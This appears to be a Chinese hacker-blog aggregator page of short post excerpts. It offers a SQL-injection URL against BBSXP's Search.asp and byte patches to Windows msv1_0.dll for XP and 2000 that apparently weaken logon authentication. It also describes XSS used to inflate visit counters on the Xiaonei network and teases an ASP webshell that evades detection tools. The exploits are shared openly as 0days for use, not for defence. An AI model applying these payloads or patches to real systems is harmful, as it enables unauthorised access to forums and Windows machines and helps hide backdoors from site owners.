作者：sobiny
来源：sobiny's Blog
提交给BBSXP的漏洞公告，官方一点反映都没呢。。
其实主要是他们一个类型的注入太多了。
我都不好意思发出来，发多了手痛。
哎，举例一个。
Search.asp文件
http://127.0.0.1/Search.asp?menu=Result&ForumID=1&Keywords=aaaaa&Item=ThreadID&DateComparer=365&SortBy=Desc/**/union&VerifyCode=8149
阅读全文 »
鬼仔注：我记得当初第一次看到这个0day是在红狼的荣誉会员区。现在7j放出来了。
另：这两天一直没在家，没怎么上网，所以一直没更新，抱歉。现在网吧。
来源：7jdg's blog
这东西再放都长毛了,放出来….精灵还写了个利用工具,找不到了.回头补上..
ystem32下 有个msv1_0.dll
xp sp2
F8 10 75 11 B0 01 8B 4D
修改为
E0 00 75 11 B0 01 8B 4D
2k professinal
F8 10 0F 84 71 FF FF
修改为
E0 00 0F 84 71 FF FF
2k sp4
F8 10 75 11 b0 01 8b 4D
修改为
E0 00 75 11 b0 01 8b 4D
阅读全文 »
鬼仔注：前两天最早在sobiny那里看到的，后来在lcx那里看到相关代码，现在7j又写个php版本的
总结下
一、谈449
作者：sobiny[b.c.t]
来源：http://sobiny.cn
HTTP的状态码
大家经常见到的大概就是200，404，500等。
那449这个状态码是什么呢？
MSDN上的解释：
Retry after doing the appropriate action
GOOGLE在线翻译上说的是：
再审后,做适当的行动
呵呵，经过测试，IE浏览器接收到449这个HTTP状态码后的反应是：
先和普通的HTML的执行一样，先执行了449的返回的信息。
然后再自动浏览当前提交的页面。
其他浏览器没测试，估计也一样，不然就是浏览器的BUG了，因为这是正常的HTTP状态头呢。
阅读全文 »
来源：梦之光芒
本来不想提校内网的XSS来着，因为太多，没有提的必要。
不过最近室友争着问我为什么有的人的空间访问量已经达到了几千万（在百度这里相对比较容易，因为文章的访问也算在内。而校内网的不算，所以几百万算是天文数字了），而且数字还在以每秒钟若干的数据增长！所以这里也给大家看下。
懂XSS的好友知道，这里便是利用上XSS了。看了看他们的代码（涂鸦板），大致如下：
<link href="A308676992321RAT.wma" type="text/css" rel="stylesheet" />
<div class=addJs>A247165747728HOR.wma</div>
其中A308676992321RAT.wma里的代码如下：
阅读全文 »
作者：sobiny [b.c.t]
来源：http://sobiny.cn
今天在LCX牛牛的BLOG上看到了一个新的绕过那个什么查ASP 马的东西。。
怎么说呢，其实如果单说写文件到服务器上来留后门的话。
可能大概也只有10多种方法吧可以绕过吧。
但是像这种可以直接执行的，好象还少着。。
既然他们都公布得愉快。
我也发一个我觉得拿得出手的吧。
等着那些检测程序加入新的特征吧，啊哈哈。
阅读全文 »
